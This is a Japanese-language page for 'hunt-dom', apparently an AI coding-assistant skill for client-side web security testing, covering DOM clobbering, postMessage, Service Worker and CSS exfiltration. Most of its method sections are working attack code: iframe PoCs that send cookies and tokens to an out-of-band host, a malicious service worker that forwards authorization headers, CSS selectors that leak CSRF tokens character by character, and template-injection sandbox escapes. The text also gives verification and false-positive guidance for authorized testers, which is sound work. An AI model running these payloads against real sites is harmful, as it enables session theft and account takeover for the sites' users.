hunt-dom について
hunt-domは、DOMクローバリング、postMessage、Service Worker、CSSによるデータ流出、テンプレートインジェクションなどを調べるセキュリティテスト用スキルです。調査手順と、ブラウザー側の挙動を実証可能な影響につなげる検証方法を示します。
主な機能
- 01DOMクローバリングとクライアント側シンクの調査
- 02postMessageのリスナーと送信元の確認
- 03同一オリジンのService Worker悪用評価
- 04CSSインジェクションによるデータ流出テスト
- 05フレームワークのHTMLシンクとテンプレートインジェクション調査
活用シーン
- 01マークアップ注入がDOM実行シンクに届くか追跡
- 02クロスオリジンメッセージによる秘密漏えいや操作を確認
- 03CSSインジェクションでトークンを漏えいできるか判定
- 04同一オリジン登録したService Workerの持続性を評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-domインストール後、Claude Code で/hunt-domを入力して読み込まれたか確認します。
詳細
HUNT-DOM — DOM Clobbering/PostMessage/Service Worker/CSS Exfil
最重要ターゲット
DOM ベースの攻撃は被害者のブラウザー内で実行されます。サーバーにはペイロードが届かないことも多いため、WAF やサーバー側の入力フィルターは適用されません。PostMessage でオリジンチェックが欠けていると、XSS なしでクロスオリジンのトークンを窃取できます。
価値の高い攻撃チェーン:
- DOM Clobbering → DOM-XSS/認証バイパス — HTML のマークアップを注入し(
<script>は不要)、window.configなどの JavaScript グローバルを上書きするか、document.getElementByIdをシャドウイングします。その後、アプリがその値を URL/コードとして扱うと、スクリプトがフィルターされるマークアップのみの注入でもシンクが発火します。 - PostMessage のオリジンチェック欠落 → セッション窃取/DOM-XSS —
event.originを検証せずにevent.dataを信頼するmessageハンドラーがあると、攻撃者は iframe/opener を介して特権操作を実行したり、シンクに値を渡したりできます。 - Service Worker の悪用 — 保存型 XSS を介して、アップロード/オープンリダイレクト/ターゲットが配信するパスによって到達可能な、同一オリジンの SW スクリプトを登録します。これにより、スコープ内のすべての
fetchを傍受し、認証情報を継続的に取得できます。 - CSS Exfil — 属性値セレクター(
input[value^="a"])を使い、JavaScript を一切使わずに、CSRF トークン/API キー/nonce を 1 文字ずつ OOB ホストへ漏えいさせます。
根拠 — 本内容の基になった公開研究
- DOM Clobbering/DOM-Invader — Gareth Heyes と PortSwigger Web Security Academy の「DOM clobbering」トピック。DOM-Invader には専用の clobbering スキャナーが搭載されています。シンクの分類は、Academy の DOM ベース脆弱性ラボに対応しています。
- DOMPurify の clobbering と mXSS バイパス — Michał Bentkowski(Securitum)による、clobbering と mutation XSS を利用して HTML サニタイザーを回避するブログシリーズ。
- jQuery
htmlPrefilterの自己終了タグ XSS — CVE-2020-11022 および CVE-2020-11023(jQuery < 3.5.0)。攻撃者が用意した HTML を.html()/.append()に渡すと、実行されるマークアップへ変化します。バンドルされた jQuery のバージョンを grep で確認してください。これは実際の環境で最もよく見られる DOM-XSS の根本原因の一つです。 - CSS による情報窃取 — d0nut の「CSS Injection Attacks」/「Stealing Data With CSS」に関する研究(
@importを連鎖的に再帰させ、文字位置ごとの制約をなくします)。
再現した内容だけを引用してください。報告書でこれらを「証拠」として貼り付けないでください。ライブターゲットに対する PoC が証拠です。ここに記載した研究者名は、手法の出典を示すものであり、深刻度を誇張するためのものではありません。
攻撃対象のシグナル
# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text
# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/* */embed/* */widget/* */oauth/* /sdk.js pay/checkout iframes
# Service worker presence:
/sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular)
# CSS injection points:
?theme= custom-css profile field email-template editor style= passthrough
フェーズ 1 — DOM Clobbering
# Signal: app reads element IDs/names as if they were JS objects, OR feeds a
# clobberable global into a sink (location, innerHTML, eval, script.src).
# Inject MARKUP (no script) at a sink that lets named/id'd elements through.
# Single-level clobber of window.config:
# <a id="config" href="https://evil.com">
# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
# <a id="config"></a><a id="config" name="url"> # window.config.url resolves to an attacker-controlled element/string
# Clobber a string-coerced URL value (anchor toString() == href):
# <a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href
# Nested window.a.b.c via form/inputs:
# <form id="a"><input id="b" name="c" value="clobbered"></form>
# baseURI / relative-URL hijack:
# <base href="https://evil.com/"> # bends every relative src/href
// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
const v = window[k];
// HTMLCollection / element => already clobbered or clobberable namespace
if (v && (v instanceof Element || v instanceof HTMLCollection))
console.log('[CLOBBERED/NAMESPACE]', k, v);
else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
});
# Source review: find globals fed into sinks (this is what makes clobbering exploitable)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" | grep -nE \
"document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
# DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.
jQuery の観点: バンドルに jQuery < 3.5.0 が含まれる場合、攻撃者が用意した HTML を .html()/.append() に渡すと、自己変化して実行されます(CVE-2020-11022/CVE-2020-11023)。バージョンを確認してから、<style><style /><img src=x onerror=alert(document.domain)> をテストしてください。
フェーズ 2 — PostMessage の乗っ取り
脆弱性には 2 種類あります。(a)リスナーがクロスオリジンのデータを信頼し、シンク/特権操作を実行する。(b)送信側がターゲットオリジンに '*' を指定して秘密情報をブロードキャストし、任意のフレームページから読み取れるようにする。
# Find handlers and flag the ones with NO origin check
grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
| grep -vE "\.origin\b"
# Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
# Senders that leak: grep for postMessage(<secret>, '*')
grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null
<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
<script>
document.getElementById('f').onload = () => {
const w = document.getElementById('f').contentWindow;
// Shape the payload to whatever the handler routes into a sink:
w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
};
</script>
<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
<pre id="out"></pre>
<script>
addEventListener('message', e => {
// Only count it if e.origin is the TARGET and data carries a secret
out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
});
</script>
誤検知を防ぐための注意:
origin.indexOf('target.com')>-1、endsWith('target.com')、正規表現target\.comのような部分的なチェックを行うハンドラーも、依然として脆弱です。target.com.evil.comまたはeviltarget.comで回避できます。これらに似せたホストから PoC を配信し、メッセージが依然として届くことを示して確認してください。
フェーズ 3 — Service Worker の悪用
厳守事項(よくある間違いの訂正): SW スクリプトの URL は、register() を呼び出すページと同一オリジンでなければなりません。クロスオリジンのスクリプト URL(https://evil.com/sw.js)は SecurityError をスローします — クロスオリジンの SW スクリプト 登録を有効にするヘッダーは存在しません。Service-Worker-Allowed は、同一オリジンのスクリプトが制御できるスコープを広げるだけで、スクリプトを配置できる場所を広げるものではありません。
したがって、現実的な経路は次のとおりです。SW スクリプトをターゲットオリジン上に配置し(JS として配信されるファイルアップロード、オリジンがスクリプトとして反映するオープンリダイレクト/パス、text/javascript を返す JSON/JSONP エンドポイント、あるいは制御下にある既存のルートなど)、その後、同一オリジンの XSS からそれを登録します。
# Enumerate existing SW + its scope
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" | grep -iE "serviceWorker\.register|navigator\.serviceWorker"
for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do
curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener\('fetch'|caches"
# Look for an upload/route that returns Content-Type: text/javascript on YOUR content:
# curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type
// Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
// served by the target). scope must be <= the directory the script is served from
// unless the response carries Service-Worker-Allowed.
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
.then(r => fetch('https://OOB/sw-registered?scope='+r.scope)) // OOB proof of registration
.catch(e => console.log('SW reg failed', e.name)); // SecurityError => wrong origin/scope
// evil-sw.js (served from the TARGET origin):
self.addEventListener('fetch', e => {
e.respondWith(fetch(e.request.clone()).then(async resp => {
// Exfil URL + any auth header the page attaches, to OOB
fetch('https://OOB/sw-intercept', {method:'POST',
body: JSON.stringify({url: e.request.url,
auth: e.request.headers.get('authorization')})});
return resp;
}));
});
永続性に関する注記:SW はタブを閉じても存続し、スコープ内で次回の訪問時に再実行されます — これがこれを Critical たらしめている点です。永続性を確認するには、すべてのタブを閉じ、オリジンを再度開き、XSS を再発火させることなく新たな OOB ヒットが発生することを示します。
フェーズ 4 — CSS インジェクション / 流出
# Prereq: attacker controls CSS (custom-theme field, style= passthrough, email
# template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.
# Step 1 confirm injection: inject "color:red" on a known element, observe render.
# Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.
スコープに関する注意(誇張の訂正): CSS 流出はスクリプト実行をブロックする CSP をバイパスしますが、
style-src/img-src/default-src/connect-srcが外部オリジンを制限している CSP、またはform-actionをバイパスするものではありません。img-src 'self'が設定されている場合、url(https://OOB/...)はブロックされます。常にライブのContent-Security-Policyヘッダーを最初に確認してください。外部リソースのオリジンがロックダウンされている場合、CSS 流出は不可能であり、主張するのではなくその旨を述べるべきです。
/* One request fires only for the matching first char. */
input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
/* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */
meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }
# Generate a single-position CSS exfil set (loop positions with sequential @import in practice)
import string
chars = string.ascii_letters + string.digits + '-_'
attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0
print("\n".join(
f'input[{attr}][value^="{c}"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))
# Real exfil needs recursion: serve a stylesheet whose @import pulls the next
# position's rules only after the current prefix matched (d0nut technique) —
# this removes the "static input, one char" limitation.
検証:証拠となるのはOOB ヒットであり、レンダリングされた色ではありません。Collaborator / request-bin を立ち上げ、正しい文字ごとに 1 件のヒットが発生して実際のトークンが形成されることを示し、その後そのトークンを状態変更を伴う CSRF リクエストで使用して実証します。OOB コールバックがない場合 = 所見なし(0 バイトの画像や CSP でブロックされたリクエストは、DevTools 上では成功と区別がつきません)。
フェーズ 5 — dangerouslySetInnerHTML / フレームワークのシンク
grep -rnE "dangerouslySetInnerHTML|v-html=|\[innerHTML\]=|\.html\(" recon/$TARGET/ --include="*.js" 2>/dev/null
# In minified Next/React bundles:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/_next/static/chunks/pages/index.js" | grep -Eo 'dangerouslySetInnerHTML.{0,120}'
# Trace whether user data reaches it WITHOUT a sanitizer (DOMPurify/sanitize-html).
# If DOMPurify IS present, check for clobbering/mXSS bypass (Bentkowski research) and version.
フェーズ 6 — クライアントサイドテンプレートインジェクション
# Detect framework, then test the {{}} sink in a sandbox-bypass form.
grep -rnE "angular|vue|handlebars|mustache|nunjucks|alpinejs|\bv-|ng-app" recon/$TARGET/ --include="*.js" 2>/dev/null | head
# Probe (server may render, so confirm it's CLIENT-side by viewing rendered DOM, not curl):
# {{7*7}} -> 49 in the live DOM (not in raw HTML) => CSTI
# AngularJS sandbox-escape style payloads (version-dependent; older 1.x):
# {{constructor.constructor('alert(document.domain)')()}}
# Vue: {{_c.constructor('alert(1)')()}} (varies by Vue 2/3 build)
チェーン表
| DOM の所見 | チェーン先 | 影響 |
|---|---|---|
DOM Clobbering → クラバーされた URL が script.src/location に入る | マークアップのみのインジェクション下での DOM-XSS | 高 / 認証バイパス |
| PostMessage のオリジンチェックなし/弱い(リスナー) | データ → innerHTML/eval/location シンク | DOM-XSS → ATO |
PostMessage targetOrigin:'*' 送信側 | 任意のフレーミングページがトークン/認証コードを読み取る | クロスオリジンのトークン窃取 |
| CSS 流出(OOB 確認済み) | CSRF トークンを漏洩 → CSRF を発火 | CSRF チェーン(中以上) |
| XSS 経由の同一オリジン Service Worker | スコープ内のすべての fetch と認証ヘッダーを傍受 | 永続的 ATO(Critical) |
| dangerouslySetInnerHTML、サニタイザーなし | 格納型 DOM-XSS | XSS → ATO |
ツール
# DOM Invader (built into Burp browser) — sources→sinks, postMessage logger, clobbering scanner
# postMessage-tracker — Chrome extension logging cross-window messages
# Burp Collaborator / interactsh / request-bin — MANDATORY OOB sink for CSS-exfil & SW PoCs
# Verify any command URL before citing it in a report; do not paste unverified repo links.
検証(誤検知の防止)
リポジトリの基準に従ってください。DevTools で 発火する 手法も、影響が OOB で確認され、状態が実証されるまでは、脆弱性として報告できません。
- DOM Clobbering — 改ざんされた値が実際にシンクへ到達することを示してください(XSS ペイロードが実行される、またはアプリが攻撃者の URL から移動・読み込みを行う)。改ざん可能なグローバル変数がシンクに到達しない場合、影響はありません。報告しないでください。
- PostMessage — チェックの 欠如 と 不備 を区別してください。類似したオリジンから不備のあるチェックを回避し、OOB で捕捉してください。ノイズの多い
messageログだけでは証拠になりません。特権的な操作またはトークンの流出を示してください。 - CSS exfil — 正しい文字ごとの OOB コールバックだけが証拠です。 まず CSP を確認してください。外部オリジンを制限する
img-src/style-src/connect-src/default-srcがあれば、攻撃は成立しません。ブロックされたurl()は Network タブでは成功と区別できません。Collaborator 側で確認してください。 - Service Worker — 登録するスクリプトは 同一オリジンである必要があります。
SecurityErrorが発生した場合は、誤ったオリジンを指定しています。永続性 を実証してください(タブを閉じてから開き直し、新たな XSS の再発火なしに新しい OOB ヒットがあること)。 - 全般 — テストごとに一意のマーカー(
btoa(domain)+nonce)を使用し、OOB ヒットがバックグラウンド通信ではなく、あなたのペイロードによるものだと特定できるようにしてください。これらはクライアントサイドの処理なので、生の HTML ではなくレンダリング後の DOM を比較してください。
深刻度:
- 同一オリジンの Service Worker → 認証情報の永続的な傍受:Critical
- PostMessage データ → DOM-XSS/トークン窃取 → ATO:High–Critical
- DOM Clobbering → 認証/セッションに到達する DOM-XSS:High
- CSRF トークンの CSS exfil(OOB で実証済み)→ CSRF:Medium(連鎖する CSRF がアカウントに重大な影響を与える場合は引き上げてください)
検証
このセルフテストを実行して、DOM ハンティングの準備ができていることを確認してください。
-
スキルの整合性 — スキルファイルが読み取り可能で、正しい形式であることを確認します。
grep -q "name: hunt-dom" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリがあることを確認します。
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します。
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つのテストすべてで、スキルが適切に構成され、使用できる状態であることを確認します。
落とし穴
- シンクの確認がない DOM XSS — ユーザー入力を含む
innerHTMLやdocument.writeが見つかっても、それは潜在的なシンクであり、脆弱性が確認されたわけではありません。ソースからシンクまでのデータフロー全体を追跡してください。 - オリジンチェックのない postMessage —
event.originを検証せずに postMessage イベントを受信することが脆弱性です。window.postMessage(payload, '*')でテストしてください。 - 秘密情報を含まないソースマップ —
.mapファイルだけでは参考情報にすぎません。抽出した API キー、内部パス、または認証情報が必要です。 - 静的な文字列を使った eval —
eval("constant")は悪用できません。動的な入力が eval に到達する必要があります。 - 証拠のないサニタイザー回避の主張 — DOMPurify の回避を主張するには、使用中の特定のバージョンに対してペイロードが実際に機能することが必要です。